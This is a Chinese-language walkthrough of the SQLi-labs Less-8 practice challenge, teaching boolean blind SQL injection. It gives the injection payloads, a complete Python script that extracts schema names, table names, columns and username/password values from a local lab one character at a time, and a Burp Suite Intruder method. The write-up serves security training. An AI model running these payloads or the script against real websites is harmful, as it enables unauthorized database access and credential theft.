布尔盲注
在前面的练习中,也涉及到了布尔盲注的解题过程,思路都是一样的。自己构造判断语句强制页面进行判断并根据返回结果查看判断的正确性。
1. 关卡分析
本次的关卡是less-8,首先我们来分析一下这个页面。通过多次的尝试我们发现,如果输入的是true,那么就会返回一个You are in......
,而如果是false,则不会返回任何的界面。因此我们可以根据这个信息来进行布尔盲注。
首先利用?id=1' and 1=1 --+
和?id=1' and 1=2 --+
确定id的类型为单引号''
包裹。然后进行盲注。
2. 盲注思路
由于盲注的过程,很繁琐,因此我们这里只提供一个大致的思路,而真正的破解过程,我编写了一个python程序,让他来完成。
下面来说思路:
-
破解当前数据库名:
and length(database)=num
破解名字长度。
and ascii(substr(database(), 1,1))=num
猜出每一个字母的ascii码。最后得到数据库的名字。 -
破解所有数据库名字
and (select count(*) from information_schema.schemata)=num
判断数据库的个数。
and length((select schema_name from information_schema.schemata limit 0,1))=num
判断每一个数据库的名字的长度。
and ascii(substr((select schema_name from information_schema.schemata limit 0,1)), 1,1)=num
猜解每一个数据库名字的每一个字母。最后得出数据库的名字。 -
破解数据表和表中的字段
具体操作语法和2中破解数据库名字一样,只是查询的表变成了information_tables
和information_columns
。
3. 编写工具进行通关
我们通过以上的语句,进行一个一个数据和尝试,最终能够破解数据库的所有信息。但是每次要通过若干次尝试,才能得到一个字母的值,很浪费时间,这么繁琐的工作,怎么能让人干呢?计算机不就是用来替人干脏活的么?因此我编写了一个程序,用来通关less-8。该程序只能实现一些基本功能,有不好的地方请见谅,我将代码放在下面,如果你们有兴趣的话可以改进一下。
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import requests
import re
class SQL_injection():
def __init__(self, id, url, table_name='tables', db_name='information.schema', *args):
self.id = id
self.url = url
self.db_name = db_name
self.table_name = table_name
self.args = args
# 访问操作
# 判断检索字段返回值: 返回检索字段的数目
# 盲注返回值: True返回1 False返回0
def req(self, url, num):
response = requests.get(url)
# print(url)
# print(response.text)
result = re.search(r'color="#FFFF00">(.*?)<', response.text)
# print(result)
if result:
if result.group(1) == "You are in...........":
# print("连接正确")
return num
else:
return 0
else:
return 0
# 判断字段数目, 需要指定数据库和数据表
def column_num(self):
num = 0
for i in range(1, 100):
new_url1 = self.url + self.id + " order by %s --+ " % (i)
# print(new_url1)
flag = self.req(new_url1, i)
if flag:
num = flag
print("\r网页搜索的字段数目为:%s" % flag, end="")
if not flag:
# print("xxx")
break
print()
return num
# 判断当前数据库名字
def db_name1(self):
length = 0
for i in range(1,100):
new_url = self.url + self.id + " and length(database())=%s --+" % i
flag = self.req(new_url, 1)
if flag:
length = i+1
break
if length == 0:
print("数据库名字长度获取失败.....")
return 0
print("\n正在使用的数据库:", end='')
for i in range(1, length):
for k in range(95, 123):
new_url = url + id + " and ascii(substr(database(), %s))=%s --+" % (i, k)
flag = self.req(new_url, 1)
if flag:
print(chr(int(k)), end='')
# 爆库,列出所有数据库名
def db_list(self):
length = 0
# 爆出数据库个数
for i in range(1, 10000):
new_url = self.url + self.id + " and (select count(schema_name) from information_schema.schemata)=%s --+ " % i
flag = self.req(new_url, 1)
if flag:
length = i
print("\n一共有%s个数据库"%length)
break
# 一一爆出数据库的名字
# 遍历每一行
for i in range(0, length):
# 求每一行数据库名字的长度
for l in range(1, 100):
# print(l)
new_url = url + id + " and length((select schema_name from information_schema.schemata limit %s, 1))=%s --+ " % (i, l)
# print(new_url)
flag = self.req(new_url, 1)
if flag:
db_name_length = l
print("%s. 数据库名字的长度: %s 数据库名: "%(int(i+1), db_name_length), end='')
# 求数据库名字
for db_l in range(1, int(db_name_length) + 1):
for k in range(95, 123):
new_url = \
url + id + \
" and ascii(substr((select schema_name from information_schema.schemata limit %s,1), %s, 1)) =%s --+ " \
% (i, db_l, k)
flag = self.req(new_url, 1)
if flag:
print(chr(int(k)), end="")
print()
break
# 爆表
# 接受参数,网站链接,id, 指定数据库的名字
def table_name1(self):
length = 0
# 爆出某个数据库中数据表个数
if self.db_name:
print("\n当前查询的数据库为 %s " % self.db_name)
for i in range(1, 10000):
new_url = url + id + " and (select count(table_name) from information_schema.tables where table_schema='%s')=%s --+ " % (self.db_name, i)
flag = self.req(new_url, 1)
if flag:
length = i
print("一共有%s张数据库表" % length)
break
# 一一爆出数据表的名字
for i in range(0, length):
# 求每一行数据库名字的长度
for l in range(1, 100):
# print(l)
new_url = url + id + " and length((select table_name from information_schema.tables where table_schema='%s' limit %s, 1))=%s --+ " % (self.db_name, i, l)
# print(new_url)
flag = self.req(new_url, 1)
if flag:
db_name_length = l
print("%s. 数据表名字的长度: %s 数据表名: "%(int(i+1), db_name_length), end='')
# 求数据库名字
for db_l in range(1, int(db_name_length) + 1):
for k in range(95, 123):
new_url = \
url + id + \
" and ascii(substr((select table_name from information_schema.tables where table_schema='%s' limit %s,1), %s, 1)) =%s --+ " \
% (self.db_name, i, db_l, k)
flag = self.req(new_url, 1)
if flag:
print(chr(int(k)), end="")
print()
break
# 如果没有指定数据库,那么则搜索整个DBMS有多少张表
else:
for i in range(1, 10000):
new_url = url + id + " and (select count(table_name) from information_schema.tables)=%s --+ " % i
flag = self.req(new_url, 1)
if flag:
length = i
print("\n一共有%s个数据库表" % length)
break
# 爆字段
def columns_name(self):
length=0
print("\n当前查询的数据库为 %s, 数据表为 %s " % (self.db_name, self.table_name))
for i in range(1, 10000):
new_url = url + id + " and (select count(column_name) from information_schema.columns where table_schema='%s' and table_name='%s' )=%s --+ " % (
self.db_name, self.table_name, i)
flag = self.req(new_url, 1)
if flag:
length = i
print("此表一共有%s个字段" % length)
break
# 一一爆出数据字段的名字
for i in range(0, length):
# 求每一个数据字段名称的长度
for l in range(1, 100):
# print(l)
new_url = url + id + " and length((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %s, 1))=%s --+ " % (
self.db_name, self.table_name, i, l)
# print(new_url)
flag = self.req(new_url, 1)
if flag:
db_name_length = l
print("%s. 数据表名字的长度: %s 数据表名: " % (int(i + 1), db_name_length), end='')
# 求数据库名字
for db_l in range(1, int(db_name_length) + 1):
for k in range(95, 123):
new_url = \
url + id + \
" and ascii(substr((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %s,1), %s, 1)) =%s --+ " \
% (self.db_name, self.table_name, i, db_l, k)
flag = self.req(new_url, 1)
if flag:
print(chr(int(k)), end="")
print()
break
# 爆值
def value(self):
# print(self.args)
args_len = len(self.args)
length = 0
for arg_len in range(0, args_len):
for i in range(1, 100000):
new_url = url + id + " and (select count(%s) from %s.%s)=%s --+ " % (self.args[arg_len], self.db_name, self.table_name, i)
# print(new_url)
if self.req(new_url, 1):
print("字段: %s --> %s 行" % (self.args[arg_len], i))
length = i
break
# 求每一个字段的所有值
for i in range(0, length):
# 求每一个值名称的长度
for l in range(1, 1000):
# print(l)
new_url = url + id + " and length((select %s from %s.%s limit %s, 1))=%s --+ " % (
self.args[arg_len], self.db_name, self.table_name, i, l)
# print(new_url)
flag = self.req(new_url, 1)
if flag:
db_name_length = l
# print("%s. %s字段长度: %s 值为: " % (int(i + 1), args[arg_len], db_name_length), end='')
print("%s. %s : " % (int(i + 1), self.args[arg_len]), end='')
# 求数值的名字
for db_l in range(1, int(db_name_length) + 1):
for k in range(33, 127):
new_url = \
url + id + \
" and ascii(substr((select %s from %s.%s limit %s,1), %s, 1)) =%s --+ " \
% (self.args[arg_len], self.db_name, self.table_name, i, db_l, k)
# print(new_url)
flag = self.req(new_url, 1)
if flag:
print(chr(int(k)), end="")
print()
break
if __name__ == "__main__":
x = input("请输入您要练习的less: ")
url = "http://127.0.0.1:7788/sqli/Less-%s/?id=" % x
id = input("请入id形式")
# sql = SQL_injection(id, url, table_name, db_name, args)
sql = SQL_injection(id, url, 'users', 'security', 'username', 'password')
# 获取当前使用的数据库的名字
sql.db_name1()
# 列出所有数据库的名字
sql.db_list()
# 列出指定数据库汇总所有数据表, 若没有指定数据库,则只显示有多少张表
sql.table_name1()
# 列指定表中所有的列
sql.columns_name()
# 列出指定字段的值
sql.value()
在这里判断字母的时候,我是用的方法是,一个一个的测试并请求,并没有使用像二分查找那样高效的算法,所以在进行名字爆破的时候,速度相对较慢。但是由于范围不大,因此在样本不多的情况下,花费的时间还是比较乐观的。
我们看一下结果:
可以看到,程序已经替我们做了繁琐的判断操作,把数据库内部的信息完整的呈现出来了。如果有觉得执行速度慢的小伙伴,可以使用查找算法来优化一下这个代码。
后来,我有对前面的less尝试了一下,也可以用这个代码去通关前面的一些可以使用布尔盲注的题目,只需要改一下页面返回的判断语句即可。好了,到此为止,我们的less-8就算是成功拿下了!
4. 使用burp suite
在这里我们使用burp suit
也可以实现。
这里我就只展示一个破解当前数据库名字的第一个字母的操作(其他操作都一样)
首先我们要构造一条sql语句。
http://192.168.xxx.xxx:7788/sqli/Less-8/?id=1' and ascii(substr(database(), 1, 1))=1 --+
注意:这里在访问的时候,要使用你本机的私网IP地址,因为127.0.0.1
这个IP地址。burp suit
拦截不到。
访问后我们开启burp suite
拦截,并发送到Intruder
模块。
然后点击payloads
配置好以后,点击Start attack
开始。
最后我们在115
这里,发现和别的response
长度不同,点开相应查看,发现页面存在You are in.....
字段,那么第一个字母的ascii
就是115
,查阅ascii
表得知115
对应的字母就是s
。
那么下面我们对整个名字爆破:
最終,查閲ascii表就可以知道,数据库名字为security
。
以上就是burp suite
解体的思路,如果对burp suite
掌握熟练的朋友,也可以用burp suite
进行破解。